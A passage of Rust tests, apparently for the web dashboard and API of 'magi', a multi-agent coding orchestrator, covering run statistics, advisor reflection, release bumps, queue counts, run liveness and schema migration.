17814 let html = include_str!("../assets/ui/index.html");
17815 assert!(html.contains("Approximate"));
17816 for label in ["reflected strongly", "faint", "no proposal"] {
17817 assert!(html.contains(label));
17818 }
17819 let css = include_str!("../assets/ui/app.css");
17820 for c in ["refl-strong", "refl-faint", "refl-absent"] {
17821 assert!(css.contains(&format!(".{c} {{")));
17822 }
17823 }
17824
17825 #[test]
17826 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
17827 assert!(APP_JS.contains("function statsDailyPlan("));
17828 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
17829 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
17830 }
17831
17832 #[test]
17833 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
17834 let start = APP_JS
17835 .find("function scheduleSearch(")
17836 .expect("scheduleSearch exists");
17837 let body = &APP_JS[start..];
17838 let body = &body[..body.find("\n}\n").expect("function end")];
17839 assert!(body.contains("s.seq += 1"));
17840 }
17841
17842 #[tokio::test]
17847 async fn stats_runs_unreadable_matches_health() {
17848 let f = Fixture::start().await;
17849 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17850 let broken = f.runs().join("20260902-140502-bad");
17851 std::fs::create_dir_all(&broken).expect("run dir");
17852 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17853
17854 let stats = f.get("/api/stats").await;
17855 let health = f.get("/api/health").await;
17856
17857 assert_eq!(stats.status, 200);
17858 assert_eq!(stats.json()["totals"]["runs"], 1);
17859 assert_eq!(stats.json()["runs_unreadable"], 1);
17860 assert_eq!(
17861 stats.json()["runs_unreadable"],
17862 health.json()["runs_unreadable"],
17863 "the dashboard and /api/health must never disagree about how many \
17864 runs could not be read"
17865 );
17866 }
17867
17868 #[tokio::test]
17869 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
17870 let f = Fixture::start().await;
17871 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17872 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
17873 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
17874
17875 let totals = &f.get("/api/stats").await.json()["totals"];
17876 assert_eq!(totals["runs"], 3);
17877 assert_eq!(totals["merged"], 1);
17878 assert_eq!(totals["stalled"], 1);
17879 assert_eq!(totals["in_progress"], 1);
17880 assert_eq!(totals["blocked"], 0);
17883 assert_eq!(totals["ready"], 0);
17884 }
17885
17886 #[tokio::test]
17887 async fn stats_advisors_report_proposals_and_reflection() {
17888 use crate::advise::{Advice, AdvisorRecord, Reflection};
17889 use crate::verdict::Proposal;
17890
17891 let f = Fixture::start().await;
17892 let mut state = RunState::new(
17893 PathBuf::from("/repo/magi"),
17894 "main".to_owned(),
17895 "0123456789abcdef".to_owned(),
17896 "task".to_owned(),
17897 Config::default(),
17898 );
17899 state.id = "20260902-140501-a".to_owned();
17900 state.status = RunStatus::Merged;
17901 state.advice = Some(Advice {
17902 records: vec![
17903 AdvisorRecord {
17904 seat: "advisor-1".to_owned(),
17905 agent: "alpha".to_owned(),
17906 proposal: Some(Proposal {
17907 approach: "do it".to_owned(),
17908 key_tradeoff: "speed over memory".to_owned(),
17909 risks: Vec::new(),
17910 touches: Vec::new(),
17911 why_not_naive: "breaks under load".to_owned(),
17912 }),
17913 error: None,
17914 duration_ms: 0,
17915 reflection: Reflection::Strong,
17916 },
17917 AdvisorRecord {
17918 seat: "advisor-2".to_owned(),
17919 agent: "alpha".to_owned(),
17920 proposal: None,
17921 error: Some("timed out".to_owned()),
17922 duration_ms: 0,
17923 reflection: Reflection::Absent,
17924 },
17925 ],
17926 synthesis: Some("blended brief".to_owned()),
17927 });
17928 let dir = f.runs().join(&state.id);
17929 std::fs::create_dir_all(&dir).expect("run dir");
17930 std::fs::write(
17931 dir.join("run.json"),
17932 serde_json::to_string_pretty(&state).expect("serialize run"),
17933 )
17934 .expect("write run.json");
17935
17936 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17938 let alpha = advisors
17939 .as_array()
17940 .expect("an array")
17941 .iter()
17942 .find(|a| a["agent"] == "alpha")
17943 .expect("alpha row");
17944 assert_eq!(alpha["seated"], 2);
17945 assert_eq!(alpha["proposed"], 1);
17946 assert_eq!(alpha["absent"], 1);
17947 assert_eq!(alpha["strong"], 1);
17948 assert_eq!(alpha["faint"], 0);
17949 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17950 }
17951
17952 #[tokio::test]
17953 async fn stats_hides_agents_outside_the_roster_unless_all() {
17954 use crate::run::Candidate;
17955 let repo = TempDir::new().expect("repo dir");
17956 std::fs::write(
17957 repo.path().join("magi.toml"),
17958 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17959 )
17960 .expect("magi.toml");
17961 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17962 let mut state = RunState::new(
17963 PathBuf::from("/repo/magi"),
17964 "main".to_owned(),
17965 "0123456789abcdef".to_owned(),
17966 "task".to_owned(),
17967 Config::default(),
17968 );
17969 state.id = "20260902-140501-a".to_owned();
17970 state.status = RunStatus::Merged;
17971 for (label, agent) in [('A', "keep"), ('B', "retired")] {
17972 let mut c: Candidate = serde_json::from_value(serde_json::json!({
17973 "index": 0, "label": label.to_string(), "agent": agent,
17974 "branch": "b", "worktree": "/w",
17975 }))
17976 .expect("candidate");
17977 c.label = label;
17978 state.candidates.push(c);
17979 }
17980 let dir = f.runs().join(&state.id);
17981 std::fs::create_dir_all(&dir).expect("run dir");
17982 std::fs::write(
17983 dir.join("run.json"),
17984 serde_json::to_string_pretty(&state).expect("serialize run"),
17985 )
17986 .expect("write run.json");
17987
17988 let agents_of = |v: &serde_json::Value| -> Vec<String> {
17989 v["agents"]
17990 .as_array()
17991 .expect("array")
17992 .iter()
17993 .map(|a| a["agent"].as_str().unwrap().to_owned())
17994 .collect()
17995 };
17996 let hidden = f.get("/api/stats").await.json();
17997 assert_eq!(agents_of(&hidden), ["keep"]);
17998 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
17999 assert_eq!(hidden["totals"]["runs"], 1);
18000
18001 let all = f.get("/api/stats?all=true").await.json();
18002 assert_eq!(agents_of(&all).len(), 2);
18003 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18004 let keep_agent = all["agents"]
18006 .as_array()
18007 .unwrap()
18008 .iter()
18009 .find(|a| a["agent"] == "keep")
18010 .unwrap();
18011 assert_eq!(keep_agent["competitive_entered"], 1);
18012 assert_eq!(keep_agent["competitive_wins"], 0);
18013 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18014 assert_eq!(keep_agent["solo_entered"], 0);
18015 assert_eq!(keep_agent["solo_adopted"], 0);
18016 assert!(keep_agent["solo_adoption_rate"].is_null());
18017 }
18018
18019 #[tokio::test]
18020 async fn stats_release_bumps_split_clean_from_attention() {
18021 use crate::run::ReleaseBump;
18022
18023 let f = Fixture::start().await;
18024
18025 let mut clean = RunState::new(
18026 PathBuf::from("/repo/magi"),
18027 "main".to_owned(),
18028 "0123456789abcdef".to_owned(),
18029 "task".to_owned(),
18030 Config::default(),
18031 );
18032 clean.id = "20260902-140501-a".to_owned();
18033 clean.status = RunStatus::Merged;
18034 clean.release_bump = Some(ReleaseBump {
18035 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18036 version: Some("1.0.0".to_owned()),
18037 automerge_enabled: true,
18038 merged_directly: false,
18039 local: false,
18040 release: None,
18041 problem: None,
18042 action_required: None,
18043 skipped: None,
18044 });
18045
18046 let mut blocked = RunState::new(
18047 PathBuf::from("/repo/magi"),
18048 "main".to_owned(),
18049 "0123456789abcdef".to_owned(),
18050 "task".to_owned(),
18051 Config::default(),
18052 );
18053 blocked.id = "20260902-140502-b".to_owned();
18054 blocked.status = RunStatus::Merged;
18055 blocked.release_bump = Some(ReleaseBump {
18056 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18057 version: Some("1.0.1".to_owned()),
18058 automerge_enabled: false,
18059 merged_directly: false,
18060 local: false,
18061 release: None,
18062 problem: Some("checks red".to_owned()),
18063 action_required: Some("look at the PR".to_owned()),
18064 skipped: None,
18065 });
18066
18067 for state in [&clean, &blocked] {
18068 let dir = f.runs().join(&state.id);
18069 std::fs::create_dir_all(&dir).expect("run dir");
18070 std::fs::write(
18071 dir.join("run.json"),
18072 serde_json::to_string_pretty(state).expect("serialize run"),
18073 )
18074 .expect("write run.json");
18075 }
18076
18077 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18078 assert_eq!(bumps["merged"], 2);
18079 assert_eq!(bumps["recorded"], 2);
18080 assert_eq!(bumps["pr_opened"], 2);
18081 assert_eq!(bumps["automerge_enabled"], 1);
18082 assert_eq!(bumps["needs_attention"], 1);
18083 assert_eq!(bumps["clean"], 1);
18084 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18085 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18086 }
18087
18088 #[tokio::test]
18089 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18090 let f = Fixture::start().await;
18091 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18092
18093 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18094 assert_eq!(bumps["merged"], 1);
18095 assert_eq!(bumps["recorded"], 0);
18096 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18099 assert_eq!(bumps["automerge_rate"], Value::Null);
18102 assert_eq!(bumps["attention_rate"], Value::Null);
18103 }
18104
18105 #[tokio::test]
18106 async fn stats_queue_counts_come_from_the_live_queue() {
18107 let f = Fixture::start().await;
18108 let q = f.queue();
18109 let mut queued = Task::new(
18110 "queued task".to_owned(),
18111 "do it".to_owned(),
18112 PathBuf::from("/repo"),
18113 Source::Human,
18114 );
18115 q.put(&mut queued).expect("put queued");
18116 let mut held = Task::new(
18117 "held task".to_owned(),
18118 "do it later".to_owned(),
18119 PathBuf::from("/repo"),
18120 Source::Human,
18121 );
18122 held.hold_machine(Some("out of attempts".to_owned()));
18123 q.put(&mut held).expect("put held");
18124
18125 let queue = f.get("/api/stats").await.json()["queue"].clone();
18126 assert_eq!(queue["queued"], 1);
18127 assert_eq!(queue["held"], 1);
18128 assert_eq!(queue["running"], 0);
18129 assert_eq!(queue["done"], 0);
18130 assert_eq!(queue["failed"], 0);
18131 assert_eq!(queue["blocked"], 0);
18132 }
18133
18134 #[tokio::test]
18135 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18136 let f = Fixture::start().await;
18137 let stats = f.get("/api/stats").await;
18138 assert_eq!(stats.status, 200);
18139 assert_eq!(stats.json()["totals"]["runs"], 0);
18140 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18141 assert_eq!(stats.json()["runs_unreadable"], 0);
18142 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18143 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18144 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18145 assert_eq!(stats.json()["repo"], Value::Null);
18146 }
18147
18148 #[tokio::test]
18149 async fn stats_lists_every_repository_with_runs_recorded() {
18150 let f = Fixture::start().await;
18151 write_run_repo(
18152 &f.runs(),
18153 "20260902-140501-a",
18154 RunStatus::Merged,
18155 "/repos/a",
18156 );
18157 write_run_repo(
18158 &f.runs(),
18159 "20260902-140502-b",
18160 RunStatus::Merged,
18161 "/repos/a",
18162 );
18163 write_run_repo(
18164 &f.runs(),
18165 "20260902-140503-c",
18166 RunStatus::Blocked,
18167 "/repos/b",
18168 );
18169
18170 let stats = f.get("/api/stats").await;
18171 assert_eq!(stats.status, 200);
18172 assert_eq!(stats.json()["totals"]["runs"], 3);
18174 assert_eq!(stats.json()["repo"], Value::Null);
18175
18176 let repos = stats.json()["repos"].clone();
18177 let repos = repos.as_array().unwrap();
18178 assert_eq!(repos.len(), 2);
18179 assert_eq!(repos[0]["repo"], "/repos/a");
18181 assert_eq!(repos[0]["name"], "a");
18182 assert_eq!(repos[0]["runs"], 2);
18183 assert_eq!(repos[1]["repo"], "/repos/b");
18184 assert_eq!(repos[1]["runs"], 1);
18185 }
18186
18187 #[tokio::test]
18188 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18189 let f = Fixture::start().await;
18190 write_run_repo(
18191 &f.runs(),
18192 "20260902-140501-a",
18193 RunStatus::Merged,
18194 "/repos/a",
18195 );
18196 write_run_repo(
18197 &f.runs(),
18198 "20260902-140502-b",
18199 RunStatus::Blocked,
18200 "/repos/b",
18201 );
18202
18203 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18204 assert_eq!(stats.status, 200);
18205 assert_eq!(stats.json()["totals"]["runs"], 1);
18206 assert_eq!(stats.json()["totals"]["merged"], 1);
18207 assert_eq!(stats.json()["repo"], "/repos/a");
18208 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18211 assert_eq!(stats.json()["runs_unreadable"], 0);
18214 }
18215
18216 #[tokio::test]
18217 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18218 let f = Fixture::start().await;
18219 write_run_repo(
18220 &f.runs(),
18221 "20260902-140501-a",
18222 RunStatus::Merged,
18223 "/repos/a",
18224 );
18225 write_run_repo(
18226 &f.runs(),
18227 "20260902-140502-b",
18228 RunStatus::Merged,
18229 "/repos/b",
18230 );
18231
18232 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18233 let json = f.get(uri).await.json();
18234 let daily = json["daily"].as_array().expect("daily is an array");
18235 assert_eq!(daily.len(), 30);
18236 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18237 let mut sorted = dates.clone();
18238 sorted.sort();
18239 assert_eq!(dates, sorted);
18240 for d in daily {
18241 assert_eq!(
18242 d["merged"].as_u64().unwrap()
18243 + d["ready"].as_u64().unwrap()
18244 + d["other"].as_u64().unwrap(),
18245 d["runs"].as_u64().unwrap()
18246 );
18247 }
18248 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18249 }
18250 }
18251
18252 #[tokio::test]
18253 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18254 let f = Fixture::start().await;
18255 write_run_repo(
18256 &f.runs(),
18257 "20260902-140501-a",
18258 RunStatus::Merged,
18259 "/repos/a",
18260 );
18261
18262 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18263 assert_eq!(stats.status, 404);
18264 }
18265
18266 #[tokio::test]
18267 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18268 let f = Fixture::start().await;
18269 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18270
18271 let summary = f.get("/api/runs").await.json();
18272 let row = &summary[0];
18273 assert_eq!(row["short"], "a1b2");
18274 assert_eq!(row["status"], "ready");
18275 assert_eq!(row["done"], true);
18276 assert_eq!(row["title"], "Add a web UI");
18277 assert_eq!(row["repo_name"], "magi");
18278 assert_eq!(row["judges"], 3);
18279 assert_eq!(row["winner"], Value::Null);
18280 assert_eq!(row["reviews"], 0);
18281
18282 let detail = f.get("/api/runs/a1b2").await;
18285 assert_eq!(detail.status, 200);
18286 assert_eq!(detail.json()["base_branch"], "main");
18287 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18288 }
18289
18290 #[tokio::test]
18298 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18299 let f = Fixture::start().await;
18300
18301 let mut none_run = RunState::new(
18302 PathBuf::from("/repo/magi"),
18303 "main".to_owned(),
18304 "0123456789abcdef".to_owned(),
18305 "Add a web UI".to_owned(),
18306 Config::default(),
18307 );
18308 none_run.id = "20260902-140503-none".to_owned();
18309 none_run.status = RunStatus::Ready;
18310 none_run.merge = Some(crate::run::MergeOutcome {
18311 mode: crate::config::MergeMode::None,
18312 ok: true,
18313 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18314 empty: false,
18315 });
18316 write_state(&f.runs(), &none_run);
18317
18318 let mut pr_run = RunState::new(
18319 PathBuf::from("/repo/magi"),
18320 "main".to_owned(),
18321 "0123456789abcdef".to_owned(),
18322 "Add a web UI".to_owned(),
18323 Config::default(),
18324 );
18325 pr_run.id = "20260902-140504-prcl".to_owned();
18326 pr_run.status = RunStatus::Ready;
18327 pr_run.merge = Some(crate::run::MergeOutcome {
18328 mode: crate::config::MergeMode::Pr,
18329 ok: false,
18330 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18331 empty: false,
18332 });
18333 write_state(&f.runs(), &pr_run);
18334
18335 let summary = f.get("/api/runs").await.json();
18336 let rows: std::collections::HashMap<&str, &Value> = summary
18337 .as_array()
18338 .expect("an array")
18339 .iter()
18340 .map(|r| (r["id"].as_str().expect("an id"), r))
18341 .collect();
18342 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18343 assert_eq!(
18344 rows[none_run.id.as_str()]["unmerged_by_design"],
18345 true,
18346 "a mode-none Ready must be flagged in the list"
18347 );
18348 assert_eq!(
18349 rows[pr_run.id.as_str()]["unmerged_by_design"],
18350 false,
18351 "a Ready reached by a closed pull request is a different case"
18352 );
18353
18354 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18355 assert_eq!(none_detail["status"], "ready");
18356 assert_eq!(none_detail["unmerged_by_design"], true);
18357
18358 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18359 assert_eq!(pr_detail["unmerged_by_design"], false);
18360 }
18361
18362 #[tokio::test]
18367 async fn run_core_survives_unavailable_related_stores() {
18368 let home = TempDir::new().unwrap();
18369 let ui = delta_test_ui(home.path());
18370 let state = RunState::new(
18371 PathBuf::from("/repo/magi"),
18372 "main".into(),
18373 "0123456789abcdef".into(),
18374 "Useful core instructions".into(),
18375 Config::default(),
18376 );
18377 let dir = ui.runs.join(&state.id);
18378 std::fs::create_dir_all(&dir).unwrap();
18379 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18380 std::fs::write(ui.questions.root(), "unavailable").unwrap();
18381 std::fs::write(ui.queue.root(), "unavailable").unwrap();
18382 let core = run_core(State(ui.clone()), Path(state.id.clone()))
18383 .await
18384 .unwrap()
18385 .0;
18386 assert_eq!(core.state.instruction, state.instruction);
18387 assert_eq!(core.state.updated_at, state.updated_at);
18388 assert!(core.task.is_none());
18389 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18390 }
18391
18392 #[tokio::test]
18393 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18394 let f = Fixture::start().await;
18395 let id = "20260902-140502-bbbb";
18399 let mut state = RunState::new(
18400 PathBuf::from("/repo/magi"),
18401 "main".to_owned(),
18402 "0123456789abcdef".to_owned(),
18403 "Add a web UI".to_owned(),
18404 Config::default(),
18405 );
18406 state.id = id.to_owned();
18407 state.status = RunStatus::Judging;
18408 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18409 let dir = f.runs().join(id);
18410 std::fs::create_dir_all(&dir).expect("run dir");
18411 std::fs::write(
18412 dir.join("run.json"),
18413 serde_json::to_string_pretty(&state).expect("serialize run"),
18414 )
18415 .expect("write run.json");
18416
18417 let cold = f.get(&format!("/api/runs/{id}")).await.json();
18423 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18424 assert_eq!(cold["live"], "unknown", "{cold}");
18425
18426 write_daemon(f.home.path(), Timestamp::now());
18429 let warm = f.get(&format!("/api/runs/{id}")).await.json();
18430 assert_eq!(warm["live"], "live", "{warm}");
18431 }
18432
18433 #[test]
18434 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18435 let home = tempfile::tempdir().expect("temp home");
18436 let runs = home.path().join("runs");
18437 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18438 let mut state = RunState::new(
18439 PathBuf::from("/repo/magi"),
18440 "main".to_owned(),
18441 "0123456789abcdef".to_owned(),
18442 "Generated review context, not authored task criteria".to_owned(),
18443 Config::default(),
18444 );
18445 state.origin = origin;
18446 state.status = RunStatus::Blocked;
18447 state.driver_exited = false;
18449 state.gate_ran = true;
18450 let expected = serde_json::to_value(&state).expect("serialize current state");
18451 let mut legacy = expected.clone();
18452 legacy["schema"] = serde_json::json!(13);
18453 legacy.as_object_mut().unwrap().remove("task_instruction");
18454 let dir = runs.join(&state.id);
18455 std::fs::create_dir_all(&dir).expect("run dir");
18456 let path = dir.join("run.json");
18457 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18458 std::fs::write(&path, &body).expect("write legacy run");
18459
18460 for loaded in [
18461 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18462 read_run(&runs, &state.id).expect("web migration"),
18463 ] {
18464 assert_eq!(loaded.schema, crate::run::SCHEMA);
18465 assert!(loaded.task_instruction.is_none());
18466 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18467 }
18468 assert_eq!(runs_unreadable(&runs), 0);
18469 assert_eq!(std::fs::read(&path).unwrap(), body);
18470 }
18471 }
18472
18473 #[tokio::test]
18476 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18477 let f = Fixture::start().await;
18478 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18479 let mut state = RunState::new(
18480 PathBuf::from("/repo/magi"),
18481 "main".to_owned(),
18482 "0123456789abcdef".to_owned(),
18483 "Add a web UI".to_owned(),
18484 Config::default(),
18485 );
18486 state.id = id.to_owned();
18487 state.origin = origin;
18488 let mut value = serde_json::to_value(&state).expect("serialize run");
18489 if let Some(schema) = schema {
18490 value["schema"] = serde_json::json!(schema);
18491 value.as_object_mut().unwrap().remove("origin");
18492 }
18493 let dir = f.runs().join(id);
18494 std::fs::create_dir_all(&dir).expect("run dir");
18495 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18496 };
18497 write(
18498 "20260930-092817-ec34",
18499 Some(crate::run::Origin::from_agent_env(
18500 Some(("4a7b".to_owned(), "chat".to_owned())),
18501 None,
18502 )),
18503 None,
18504 );
18505 write("20260930-092817-0ld1", None, Some(12));
18506
18507 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18508 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18509 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18510
18511 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18512 assert_eq!(
18513 old["origin_label"], "origin unknown (started before origins were recorded)",
18514 "{old}"
18515 );
18516 assert!(old["origin"].is_null(), "{old}");
18517
18518 let list = f.get("/api/runs").await.json();
18519 let labels: Vec<_> = list
18520 .as_array()
18521 .unwrap()
18522 .iter()
18523 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18524 .collect();
18525 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18526 }
18527
18528 #[tokio::test]
18535 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18536 let f = Fixture::start().await;
18537 let id = "20260922-090000-cccc";
18538 let mut state = RunState::new(
18539 PathBuf::from("/repo/magi"),
18540 "main".to_owned(),
18541 "0123456789abcdef".to_owned(),
18542 "Review only".to_owned(),
18543 Config::default(),
18544 );
18545 state.id = id.to_owned();
18546 state.status = RunStatus::Reviewing;
18547 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18548 state.driver_pid = Some(std::process::id());
18554 state.driver_started_at = Some(
18555 crate::proc::process_started_at(std::process::id())
18556 .expect("this test process's own start time must be queryable"),
18557 );
18558 let dir = f.runs().join(id);
18559 std::fs::create_dir_all(&dir).expect("run dir");
18560 std::fs::write(
18561 dir.join("run.json"),
18562 serde_json::to_string_pretty(&state).expect("serialize run"),
18563 )
18564 .expect("write run.json");
18565
18566 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18567 assert_eq!(detail["live"], "live", "{detail}");
18568 }
18569
18570 #[tokio::test]
18576 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18577 let f = Fixture::start().await;
18578 let id = "20260922-090100-dddd";
18579 let mut state = RunState::new(
18580 PathBuf::from("/repo/magi"),
18581 "main".to_owned(),
18582 "0123456789abcdef".to_owned(),
18583 "Review only".to_owned(),
18584 Config::default(),
18585 );
18586 state.id = id.to_owned();
18587 state.status = RunStatus::Reviewing;
18588 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18589 state.driver_pid = Some(std::process::id());
18594 state.driver_started_at = Some("1".to_owned());
18595 let dir = f.runs().join(id);
18596 std::fs::create_dir_all(&dir).expect("run dir");
18597 std::fs::write(
18598 dir.join("run.json"),
18599 serde_json::to_string_pretty(&state).expect("serialize run"),
18600 )
18601 .expect("write run.json");
18602
18603 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18604 assert_eq!(detail["live"], "dead", "{detail}");
18605 }
18606
18607 #[test]
18611 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18612 let mk = |id: &str, pid: Option<u32>| {
18613 let mut s = RunState::new(
18614 PathBuf::from("/repo/magi"),
18615 "main".to_owned(),
18616 "0123456789abcdef".to_owned(),
18617 "Add a web UI".to_owned(),
18618 Config::default(),
18619 );
18620 s.id = id.to_owned();
18621 s.driver_pid = pid;
18622 s.driver_started_at = Some("1790000000".to_owned());
18623 s
18624 };
18625 let states = vec![
18626 mk("20260902-140502-aaaa", Some(77)),
18627 mk("20260902-140502-bbbb", Some(77)),
18628 mk("20260902-140502-cccc", Some(77)),
18629 mk("20260902-140502-dddd", None),
18630 ];
18631 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18632 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18633 let sup: HashMap<String, String> = [(
18634 "20260902-140502-aaaa".to_owned(),
18635 "20260902-140502-cccc".to_owned(),
18636 )]
18637 .into();
18638
18639 let status_calls = std::cell::Cell::new(0);
18640 let identity_calls = std::cell::Cell::new(0);
18641 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18642 |_| {
18643 status_calls.set(status_calls.get() + 1);
18644 Some(true)
18645 },
18646 |_| {
18647 identity_calls.set(identity_calls.get() + 1);
18648 Some("1790000000".to_owned())
18649 },
18650 ));
18651 let rows = summarize(
18652 states,
18653 &open,
18654 &claimed,
18655 &sup,
18656 |p| probe.borrow_mut().status(p),
18657 |p| probe.borrow_mut().started_at(p),
18658 );
18659
18660 assert_eq!(status_calls.get(), 1, "one pid, one status query");
18661 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18662 assert_eq!(rows.len(), 4);
18663 assert!(!rows[0].waiting && rows[1].waiting);
18664 assert_eq!(rows[0].live, crate::run::Liveness::Live);
18665 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18666 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18667 assert_eq!(rows[1].superseded_by, None);
18668 }
18669
18670 #[test]
18671 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18672 let mut state = RunState::new(
18673 PathBuf::from("/repo/magi"),
18674 "main".to_owned(),
18675 "0123456789abcdef".to_owned(),
18676 "Review only".to_owned(),
18677 Config::default(),
18678 );
18679 state.id = "20260922-090200-dead".to_owned();
18680 state.status = RunStatus::Reviewing;
18681 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18682 .expect("serialize list row");
18683 assert_eq!(row["status"], "reviewing");
18684 assert_eq!(row["display_status"], "stale");
18685 assert_eq!(row["live"], "dead", "{row}");
18686 assert!(!row["done"].as_bool().unwrap());
18687 }
18688
18689 #[test]
18690 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18691 use crate::run::Liveness::{Dead, Live, Unknown};
18692 let mut state = RunState::new(
18693 PathBuf::from("/repo/magi"),
18694 "main".to_owned(),
18695 "abc".to_owned(),
18696 "Review only".to_owned(),
18697 Config::default(),
18698 );
18699 for (status, parked, node, waiting, live, expected) in [
18700 (
18701 RunStatus::Judging,
18702 true,
18703 "github-text",
18704 false,
18705 Dead,
18706 "parked",
18707 ),
18708 (RunStatus::Judging, false, "park", false, Dead, "stale"),
18709 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18710 (
18711 RunStatus::Judging,
18712 true,
18713 "github-text",
18714 true,
18715 Dead,
18716 "waiting",
18717 ),
18718 (
18719 RunStatus::Judging,
18720 false,
18721 "github-text",
18722 true,
18723 Dead,
18724 "waiting",
18725 ),
18726 (
18727 RunStatus::Judging,
18728 false,
18729 "github-text",
18730 false,
18731 Dead,
18732 "stale",
18733 ),
18734 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18735 (RunStatus::Judging, true, "park", false, Live, "judging"),
18736 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18737 (RunStatus::Merged, true, "park", false, Dead, "merged"),
18738 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18739 (
18740 RunStatus::Blocked,
18741 true,
18742 "github-text",
18743 true,
18744 Dead,
18745 "waiting",
18746 ),
18747 ] {
18748 state.status = status;
18749 state.parked = parked;
18750 state.events.clear();
18751 state.event(
18752 "park",
18753 "an earlier park does not determine the latest state",
18754 );
18755 state.event(node, "message is not used for classification");
18756 let summary = RunSummary::of(&state, waiting, live);
18757 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18758 assert_eq!(
18759 summary.display_status, expected,
18760 "{status:?}/{node}/{live:?}"
18761 );
18762 assert_eq!(detail.display_status, summary.display_status);
18763 assert_eq!(detail.waiting, summary.waiting);
18764 }
18765 state.status = RunStatus::Judging;
18766 state.parked = false;
18767 state.events.clear();
18768 assert_eq!(run_display_status(&state, false, Dead), "stale");
18769 }
18770
18771 #[test]
18772 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
